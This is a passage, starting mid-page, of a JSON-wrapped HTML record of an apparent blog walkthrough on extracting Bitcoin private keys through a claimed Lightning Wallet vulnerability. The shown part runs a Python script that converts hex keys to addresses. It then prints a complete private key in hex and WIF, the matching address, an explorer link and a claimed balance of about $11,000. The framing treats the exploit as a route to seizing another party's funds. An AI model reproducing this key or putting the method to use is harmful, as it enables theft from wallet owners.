class=\"wp-element-caption\"\u003e\u003cstrong\u003e7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B\u003c/strong\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003ch2 class=\"wp-block-heading has-background\" style=\"background-color:#f78da812\"\u003ePrivate Key Found!\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eLet’s install the module \u003cstrong\u003e\u003ccode\u003eBitcoin\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!pip3 install bitcoin\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-14-1024x199.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3811\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eLet’s run the code to check the compliance of Bitcoin Addresses:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003efrom bitcoin import *\n\nwith open(\"hex.txt\",\"r\") as f:\n    content = f.readlines()\n# you may also want to remove whitespace characters like `\\n` at the end of each line\ncontent = [x.strip() for x in content]\nf.close()\n\n\noutfile = open(\"privtoaddr.txt\",\"w\")\nfor x in content:\n  outfile.write(x+\":\"+pubtoaddr(encode_pubkey(privtopub(x), \"bin_compressed\"))+\"\\n\")\n \noutfile.close()\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-15(1).png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3813\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eLet’s open the file: \u003cstrong\u003e\u003ccode\u003eprivtoaddr.txt\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ecat privtoaddr.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-60-1024x113.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4030\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003cstrong\u003eResult:\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\n\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-background has-medium-font-size\" style=\"background-color:#f78da812\"\u003e\u003cstrong\u003eThat’s right!\u0026nbsp;The private key corresponds to the Bitcoin Wallet.\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eLet’s open\u0026nbsp;\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/bitaddress.html\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ebitaddress\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;\u0026nbsp;and check:\u003c/h2\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\nWIF:  L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP\nHEX:  7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-61.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4033\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-text-align-center has-background has-medium-font-size\" style=\"background-color:#f78da812\"\u003e\u003ca href=\"https://www.blockchain.com/en/explorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\"\u003e\u003cstrong\u003ehttps://www.blockchain.com/en/ex\u003c/strong\u003e\u003c/a\u003e\u003ca href=\"https://www.blockchain.com/en/explorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eplorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-62-1024x171.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4035\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-65.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4040\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-66-1024x149.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4041\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ccode\u003eBALANCE: $ 11032.77\u003c/code\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eReferences:\u003c/h2\u003e\n\n\n\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e[1]\u003c/strong\u003e\u0026nbsp;\u003ca href=\"https://cryptodeep.ru/doc/A_Cryptoeconomic_Traffic_Analysis_of_Bitcoins_Lightning_Network.pdf\"\u003e\u003cem\u003eA Cryp\u003c/em\u003e\u003c/a\u003e\u003ca href=\"https://cryptodeep.ru/doc/A_Cryptoeconomic_Traffic_Analysis_of_Bitcoins_Lightning_Network.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cem\u003etoeconomic Traffic Analysis of Bitcoins Lightning Network\u0026nbsp;\u003cstrong\u003e(Ferenc Beres, Istvan A. Seres, Andras A. Benczur)\u003c/strong\u003e\u003c/em\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e[2]\u003c/strong\u003e\u0026nbsp;\u003ca href=\"https://cryptodeep.ru/doc/Flood_Loot_A_Systemic_Attack_On_The_Lightning_Network.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cem\u003eFlood \u0026amp; Loot: A Systemic Attack On The Lightning Network\u0026nbsp;\u003cstrong\u003e(Jona Harris, Aviv Zohar)\u003c/strong\u003e\u003c/em\u003e\u003c/a\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003e[3]\u003c/strong\u003e\u0026nbsp;\u003ca href=\"https://cryptodeep.ru/doc/Short_Paper_A_Centrality_Analysis_of_the_Lightning_Network.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cem\u003eShort Paper: A Centrality Analysis of the Lightning Network\u0026nbsp;\u003cstrong\u003e(Philipp Zabka, Klaus-T. Foerster, Christian Decker, Stefan Schmid)\u003c/strong\u003e\u003c/em\u003e\u003c/a\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003e[4]\u003c/strong\u003e\u0026nbsp;\u003ca href=\"https://cryptodeep.ru/doc/Congestion_Attacks_in_Payment_Channel_Networks.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cem\u003eCongestion Attacks in Payment Channel Networks\u0026nbsp;\u003cstrong\u003e(Ayelet Mizrahi, Aviv Zohar)\u003c/strong\u003e\u003c/em\u003e\u003c/a\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003e[5]\u003c/strong\u003e\u0026nbsp;\u003ca href=\"https://cryptodeep.ru/doc/A_Deep_Dive_Into_Lightning_as_a_Bitcoin_Scaling_Solution.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cem\u003eA Deep Dive Into Lightning as a Bitcoin Scaling Solution\u0026nbsp;\u003cstrong\u003e(George Kaloudis, Teddy Oosterbaan)\u003c/strong\u003e\u003c/em\u003e\u003c/a\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003e[6]\u003c/strong\u003e\u0026nbsp;\u003ca href=\"https://cryptodeep.ru/doc/The_Lightning_Network_is_an_overlay_network_powered_by_Bitcoin_smart_contracts_it_is_NOT_a_blockchain.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cem\u003eThe Lightning Network is an overlay network powered by Bitcoin smart contracts it is NOT a blockchain\u0026nbsp;\u003cstrong\u003e(George Kaloudis, Teddy Oosterbaan)\u003c/strong\u003e\u003c/em\u003e\u003c/a\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003e[7]\u003c/strong\u003e\u0026nbsp;\u003ca href=\"https://cryptodeep.ru/doc/Lightning_Network_Scalability_Solutions.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cem\u003eLightning Network Scalability Solutions\u0026nbsp;\u003cstrong\u003e(Joseph Poon, Thaddeus Dryja)\u003c/strong\u003e\u003c/em\u003e\u003c/a\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003e[8]\u003c/strong\u003e\u0026nbsp;\u003ca href=\"https://cryptodeep.ru/doc/The_Bitcoin_Lightning_Network_DRAFT_0.5.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cem\u003eThe Bitcoin Lightning Network DRAFT Version 0.5\u003cstrong\u003e\u0026nbsp;(Joseph Poon, Thaddeus Dryja)\u003c/strong\u003e\u003c/em\u003e\u003c/a\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003e[9]\u003c/strong\u003e\u0026nbsp;\u003ca href=\"https://cryptodeep.ru/doc/CoinPool_efficient_off-chain_payment_pools_for_Bitcoin.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cem\u003eCoinPool efficient off-chain payment pools for Bitcoin\u0026nbsp;\u003cstrong\u003e(Gleb Naumenko, Antoine Riard)\u003c/strong\u003e\u003c/em\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/tree/main/26BitcoinLightningWalletVulnerability\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSource\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://t.me/cryptodeeptech\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eTelegram: https://t.me/cryptodeeptech\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://youtu.be/ZpflbzENAAw\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eVideo: https://youtu.be/ZpflbzENAAw\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeeptech.ru/bitcoin-lightning-wallet-vulnerability\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSource: https://cryptodeeptech.ru/bitcoin-lightning-wallet-vulnerability\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/047-1024x576.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4047\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\t\u003c/div\u003e\u003c!-- .entry-content --\u003e\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdemining%2Fbitcoin-lightning-wallet-vulnerability","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdemining%2Fbitcoin-lightning-wallet-vulnerability","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdemining%2Fbitcoin-lightning-wallet-vulnerability/lists"}